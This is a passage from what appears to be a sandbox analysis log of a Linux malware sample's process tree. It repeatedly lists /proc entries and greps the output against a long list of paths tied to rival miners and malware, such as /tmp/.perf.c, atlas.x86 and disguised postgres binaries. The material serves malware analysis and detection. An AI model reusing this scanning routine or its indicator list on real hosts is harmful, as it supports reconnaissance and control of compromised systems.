  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1567
- /bin/grep
  grep -q systemd
  2⤵
  PID:1569
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1571
- /bin/grep
  grep exe
  2⤵
  PID:1574
- /bin/ls
  ls -latrh /proc/fb
  2⤵
  PID:1573
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1576
- /bin/grep
  grep -q systemd
  2⤵
  PID:1578
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1580
- /bin/grep
  grep exe
  2⤵
  PID:1583
- /bin/ls
  ls -latrh /proc/filesystems
  2⤵
  PID:1582
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1585
- /bin/grep
  grep -q systemd
  2⤵
  PID:1587
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1589
- /bin/grep
  grep exe
  2⤵
  PID:1592
- /bin/ls
  ls -latrh /proc/fs
  2⤵
  PID:1591
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1594
- /bin/grep
  grep -q systemd
  2⤵
  PID:1596
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1598
- /bin/grep
  grep exe
  2⤵
  PID:1601
- /bin/ls
  ls -latrh /proc/interrupts
  2⤵
  PID:1600
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1603
- /bin/grep
  grep -q systemd
  2⤵
  PID:1605
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1607
- /bin/grep
  grep exe
  2⤵
  PID:1610
- /bin/ls
  ls -latrh /proc/iomem
  2⤵
  PID:1609
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1612
- /bin/grep
  grep -q systemd
  2⤵
  PID:1614
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1616
- /bin/grep
  grep exe
  2⤵
  PID:1619
- /bin/ls
  ls -latrh /proc/ioports
  2⤵
  PID:1618
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1621
- /bin/grep
  grep -q systemd
  2⤵
  PID:1623
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1625
- /bin/grep
  grep exe
  2⤵
  PID:1628
- /bin/ls
  ls -latrh /proc/irq
  2⤵
  PID:1627
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1630
- /bin/grep
  grep -q systemd
  2⤵
  PID:1632
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1634
- /bin/grep
  grep exe
  2⤵
  PID:1637
- /bin/ls
  ls -latrh /proc/kallsyms
  2⤵
  PID:1636
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1639
- /bin/grep
  grep -q systemd
  2⤵
  PID:1641
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1643
- /bin/grep
  grep exe
  2⤵
  PID:1646
- /bin/ls
  ls -latrh /proc/kcore
  2⤵
  PID:1645
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1648
- /bin/grep
  grep -q systemd
  2⤵
  PID:1650
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1652
- /bin/grep
  grep exe
  2⤵
  PID:1655
- /bin/ls
  ls -latrh /proc/keys
  2⤵
  PID:1654
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1657
- /bin/grep
  grep -q systemd
  2⤵
  PID:1659
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1661
- /bin/grep
  grep exe
  2⤵
  PID:1664
- /bin/ls
  ls -latrh /proc/key-users
  2⤵
  PID:1663
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1666
- /bin/grep
  grep -q systemd
  2⤵
  PID:1668
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1670
- /bin/grep
  grep exe
  2⤵
  PID:1673
- /bin/ls
  ls -latrh /proc/kmsg
  2⤵
  PID:1672
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1675
- /bin/grep
  grep -q systemd
  2⤵
  PID:1677
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1679
- /bin/grep
  grep exe
  2⤵
  PID:1682
- /bin/ls
  ls -latrh /proc/kpagecgroup
  2⤵
  PID:1681
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1684
- /bin/grep
  grep -q systemd
  2⤵
  PID:1686
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1688
- /bin/grep
  grep exe
  2⤵
  PID:1691
- /bin/ls
  ls -latrh /proc/kpagecount
  2⤵
  PID:1690
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1693
- /bin/grep
  grep -q systemd
  2⤵
  PID:1695
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1697
- /bin/grep
  grep exe
  2⤵
  PID:1700
- /bin/ls
  ls -latrh /proc/kpageflags
  2⤵
  PID:1699
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1702
- /bin/grep
  grep -q systemd
  2⤵
  PID:1704
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1706
- /bin/grep
  grep exe
  2⤵
  PID:1709
- /bin/ls
  ls -latrh /proc/loadavg
  2⤵
  PID:1708
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1711
- /bin/grep
  grep -q systemd
  2⤵
  PID:1713
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1715
- /bin/grep
  grep exe
  2⤵
  PID:1718
- /bin/ls
  ls -latrh /proc/locks
  2⤵
  PID:1717
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1720
- /bin/grep
  grep -q systemd
  2⤵
  PID:1722
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1724
- /bin/grep
  grep exe
  2⤵
  PID:1727
- /bin/ls
  ls -latrh /proc/meminfo
  2⤵
  PID:1726
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1729
- /bin/grep
  grep -q systemd
  2⤵
  PID:1731
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1733
- /bin/grep
  grep exe
  2⤵
  PID:1736
- /bin/ls
  ls -latrh /proc/misc
  2⤵
  PID:1735
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1738
- /bin/grep
  grep -q systemd
  2⤵
  PID:1740
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1742
- /bin/grep
  grep exe
  2⤵
  PID:1745
- /bin/ls
  ls -latrh /proc/modules
  2⤵
  PID:1744
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1747
- /bin/grep
  grep -q systemd
  2⤵
  PID:1749
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1751
- /bin/grep
  grep exe
  2⤵
  PID:1754
- /bin/ls
  ls -latrh /proc/mounts
  2⤵
  PID:1753
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1756
- /bin/grep
  grep -q systemd
  2⤵
  PID:1758
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1760
- /bin/grep
  grep exe
  2⤵
  PID:1763
- /bin/ls
  ls -latrh /proc/net
  2⤵
  PID:1762
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1765
- /bin/grep
  grep -q systemd
  2⤵
  PID:1767
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1769
- /bin/grep
  grep exe
  2⤵
  PID:1772
- /bin/ls
  ls -latrh /proc/pagetypeinfo
  2⤵
  PID:1771
- /bin/grep
